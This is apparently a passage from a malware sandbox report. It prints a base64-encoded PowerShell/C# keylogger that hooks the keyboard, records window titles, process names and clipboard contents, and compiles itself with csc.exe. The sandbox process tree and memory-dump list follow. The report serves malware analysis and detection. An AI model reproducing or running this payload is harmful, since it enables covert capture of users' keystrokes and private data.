UwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAGMAYgAwAGQAYQBlADkAYgA5ACAAPQAgAG4AZQB3ACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAoACkAOwBlAGYAOQAyAGQAZAA2AGUAMwAgAD0AIABHAGUAdABGAG8AcgBlAGcAcgBvAHUAbgBkAFcAaQBuAGQAbwB3ACgAKQA7AGkAZgAgACgAZQBmADkAMgBkAGQANgBlADMAIAAhAD0AIAAwACkAewBpAG4AdAAgAGIAMgBmAGMAYwA0ADIAMgA5ACAAPQAgAEcAZQB0AFcAaQBuAGQAbwB3AFQAZQB4AHQATABlAG4AZwB0AGgAKABlAGYAOQAyAGQAZAA2AGUAMwApADsAYwBiADAAZABhAGUAOQBiADkALgBDAGEAcABhAGMAaQB0AHkAIAA9ACAAYgAyAGYAYwBjADQAMgAyADkAIAArACAAMQA7AEcAZQB0AFcAaQBuAGQAbwB3AFQAZQB4AHQAKABlAGYAOQAyAGQAZAA2AGUAMwAsACAAYwBiADAAZABhAGUAOQBiADkALAAgAGIAMgBmAGMAYwA0ADIAMgA5ACAAKwAgADEAKQA7AHUAaQBuAHQAIABfAHAAcgBvAGMAXwBpAGQAXwAgAD0AIAAwADsAaQBmACAAKABHAGUAdABXAGkAbgBkAG8AdwBUAGgAcgBlAGEAZABQAHIAbwBjAGUAcwBzAEkAZAAoAGUAZgA5ADIAZABkADYAZQAzACwAIAByAGUAZgAgAF8AcAByAG8AYwBfAGkAZABfACkAIAAhAD0AIAAwACkAewBQAHIAbwBjAGUAcwBzACAAZwA3AGMAOQBiADAAOQA2ADgAIAA9ACAAUAByAG8AYwBlAHMAcwAuAEcAZQB0AFAAcgBvAGMAZQBzAHMAQgB5AEkAZAAoACgAaQBuAHQAKQBfAHAAcgBvAGMAXwBpAGQAXwApADsAaQBmACAAKABnADcAYwA5AGIAMAA5ADYAOAAgACEAPQAgAG4AdQBsAGwAKQAgAHAAYgA0ADkAOABiAGUAZgA4ACAAPQAgAGcANwBjADkAYgAwADkANgA4AC4AUAByAG8AYwBlAHMAcwBOAGEAbQBlADsAfQB9AGMAYgAwAGQAYQBlADkAYgA5AC4AQQBwAHAAZQBuAGQAKAAiACAAOgA6ACAAQwBsAGkAcABiAG8AYQByAGQAIgApADsAaQA2ADgAMwBkAGEAMgBmADMALgBSAGUAbQBvAHYAZQAoADAALAAgAGkANgA4ADMAZABhADIAZgAzAC4ATABlAG4AZwB0AGgAKQA7AGkANgA4ADMAZABhADIAZgAzAC4AQQBwAHAAZQBuAGQAKABnAGIAOAA1AGUAOAAxADYAMwApADsAYgA5ADAANQAxAGQAZQBhADkAKABjAGIAMABkAGEAZQA5AGIAOQAsACAAcABiADQAOQA4AGIAZQBmADgALAAgAGkANgA4ADMAZABhADIAZgAzACkAOwBrAGEANAA0AGYAMgA1ADkAMgAgAD0AIABnAGIAOAA1AGUAOAAxADYAMwA7AH0AfQBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQALgBTAGwAZQBlAHAAKAAxADAAMAAwACkAOwB9AHIAZQB0AHUAcgBuACAAMAA7AH0AWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAUwBlAHQAVwBpAG4AZABvAHcAcwBIAG8AbwBrAEUAeAAoAGkAbgB0ACAAbQBkAGEANgA5ADIAMQBkADAALAAgAHAAZgAyAGYANAA3ADEAMAAyACAAawBmADAAYQBmADgAZAA2ADIALAAgAEkAbgB0AFAAdAByACAAbwA2ADIANQBiADEAYgBhADkALAAgAHUAaQBuAHQAIABhADMANgA5AGUAYwA0AGIAZQApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABVAG4AaABvAG8AawBXAGkAbgBkAG8AdwBzAEgAbwBvAGsARQB4ACgASQBuAHQAUAB0AHIAIABhADgANwA1ADYAZQA0ADUAZQApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABOAGUAeAB0AEgAbwBvAGsARQB4ACgASQBuAHQAUAB0AHIAIABhADgANwA1ADYAZQA0ADUAZQAsACAAaQBuAHQAIABhADgAMQAwAGMAYQBkAGUANQAsACAASQBuAHQAUAB0AHIAIABqADYANwA2AGEAMABiAGYAYgAsACAASQBuAHQAUAB0AHIAIABrADcAOQA5ADUAZgBmADYANwApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AE0AbwBkAHUAbABlAEgAYQBuAGQAbABlACgAcwB0AHIAaQBuAGcAIABkADEAMgAxADUAZAAzADcAMwApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHUAaQBuAHQAIABNAGEAcABWAGkAcgB0AHUAYQBsAEsAZQB5ACgAaQBuAHQAIABvAGEAMgA4ADIAZgA5AGMAMwAsACAAdQBpAG4AdAAgAGgANQBkAGIAOQA0ADIAYQAyACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAdQBpAG4AdAAgAEcAZQB0AEsAZQB5AGIAbwBhAHIAZABMAGEAeQBvAHUAdAAoAHUAaQBuAHQAIABwADAAMgAwAGQAOQBhADIAMAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAdQB0AG8AKQBdAHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABUAG8AVQBuAGkAYwBvAGQAZQBFAHgAKABpAG4AdAAgAGcAZABhADIAZQBkAGQAZgBmACwAIAB1AGkAbgB0ACAAbwA1ADAANwA4AGUAYwBkAGIALAAgAGIAeQB0AGUAWwBdACAAaAA1ADkANQBmAGEAZABhAGMALAAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAIABiAGMANwA3ADYAOQA5ADkAYgAsACAAaQBuAHQAIABlADgAYgBmADMANABjADMANgAsACAAdQBpAG4AdAAgAGMAOAAyAGQAMwBiAGEANwA0ACwAIAB1AGkAbgB0ACAAYQAxAGMAMAA0ADgAMwBhADEAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AbwBsACAARwBlAHQASwBlAHkAYgBvAGEAcgBkAFMAdABhAHQAZQAoAGIAeQB0AGUAWwBdACAAawBmADcAYgAzADMAZgA0ADcAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIAB1AGkAbgB0ACAARwBlAHQARgBvAHIAZQBnAHIAbwB1AG4AZABXAGkAbgBkAG8AdwAoACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAdQBpAG4AdAAgAEcAZQB0AFcAaQBuAGQAbwB3AFQAaAByAGUAYQBkAFAAcgBvAGMAZQBzAHMASQBkACgAdQBpAG4AdAAgAGIAYwAyADQAZAAyAGUANAAzACwAIAByAGUAZgAgAHUAaQBuAHQAIABkADkANgBlADYANgAzADAAYQApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAARwBlAHQAVwBpAG4AZABvAHcAVABlAHgAdABMAGUAbgBnAHQAaAAoAHUAaQBuAHQAIABmADQANgAxADIAMQBkADQAOQApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHUAaQBuAHQAIABHAGUAdABXAGkAbgBkAG8AdwBUAGUAeAB0ACgAdQBpAG4AdAAgAGYANAA2ADEAMgAxAGQANAA5ACwAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByACAAcABhAGEAYQBiADUAZABmADcALAAgAGkAbgB0ACAAbgAzAGUAYgA4ADYAOABlAGEAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAdQBpAG4AdAAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABmAGYANwBhAGYANQBiADkANwAsACAAdQBpAG4AdAAgAGgAOABhAGYAZQA5AGIAZQBmACwAIABkADAANABkADIANwAzAGQAMwAgAGIANgBjAGUAYwAxADMANQBiACwAIABJAG4AdABQAHQAcgAgAGoAZQBhAGUAZABkAGMANQA5ACwAIAB1AGkAbgB0ACAAZwAyADgAMABiAGMAZABhADUALAAgAEkAbgB0AFAAdAByACAAYgA1ADUAMABjADgAMQBiAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAbABvAG4AZwAgAEcAZQB0AFYAbwBsAHUAbQBlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAoAHMAdAByAGkAbgBnACAAZwBmADMAMAAwADUAMgBjAGMALAAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAIABtADYANwBmADIAMgAxAGEAYgAsACAAVQBJAG4AdAAzADIAIABoADIAOQA1AGMANQBmADgAYQAsACAAcgBlAGYAIABpAG4AdAAgAGwANQBhAGUAMgA3ADAAMABmACwAcgBlAGYAIABVAEkAbgB0ADMAMgAgAGYANABkAGIAYQA2AGMAOQA5ACwAIAByAGUAZgAgAFUASQBuAHQAMwAyACAAbgAxAGEAMgAyAGMAOQBiADgALAAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAIABpAGIAMQAzAGYAYQA0ADIAZgAsACAAVQBJAG4AdAAzADIAIABtADgANAAzADYAZQBjADAANwApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIAB2AG8AaQBkACAARQB4AGkAdABQAHIAbwBjAGUAcwBzACgAdQBpAG4AdAAgAGwANQBhADEANgAzADQAYQBhACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHUAaQBuAHQAIABDAHIAZQBhAHQAZQBNAHUAdABlAHgAKABJAG4AdABQAHQAcgAgAGoAMgAzADYAZQA2ADYAYgBkACwAIABiAG8AbwBsACAAagBlADAAMgA5ADQAZAAxADYALAAgAHMAdAByAGkAbgBnACAAagBkAGQAZgA5ADYAMwBlADAAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAdQBpAG4AdAAgAE8AcABlAG4ATQB1AHQAZQB4ACgAdQBpAG4AdAAgAG8ANgA0ADkANgA2ADkAYQA1ACwAIABiAG8AbwBsACAAYgA2AGMAOABlADAAZgA3ADIALAAgAHMAdAByAGkAbgBnACAAagBkAGQAZgA5ADYAMwBlADAAKQA7AH0AfQANAAoAIgBAACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMAOwBbAGYAOQBjADAAZgAwADIAOQA2AC4AbgA1AGYAOABkADQAMgBkADIAXQA6ADoAUgB1AG4AKAAgAHsAIAAkAG4AdQBsAGwAIAA9ACAAWwBjAG8AbgBzAG8AbABlAF0AOgA6AEMAYQBwAHMATABvAGMAawAgAH0AIAApAA==
    1⤵
    • Process spawned unexpected child process
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1620
    • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iabnkwdx.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:288
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
        C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2EEE.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC2EED.tmp"
        3⤵
          PID:904

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/288-71-0x0000000002050000-0x0000000002052000-memory.dmp
          Download

          memory/1620-60-0x000007FEFC451000-0x000007FEFC453000-memory.dmp
          Download

          memory/1620-68-0x000007FEEE540000-0x000007FEEF5D6000-memory.dmp
          Download

          memory/1620-67-0x000000000275B000-0x000000000277A000-memory.dmp
          Download

          memory/1620-61-0x000007FEF34E0000-0x000007FEF403D000-memory.dmp
          Download

          memory/1620-64-0x0000000002754000-0x0000000002757000-memory.dmp
          Download

          memory/1620-62-0x0000000002750000-0x0000000002752000-memory.dmp
          Download

          memory/1620-63-0x0000000002752000-0x0000000002754000-memory.dmp
          Download

          memory/1724-54-0x0000000076491000-0x0000000076493000-memory.dmp
          Download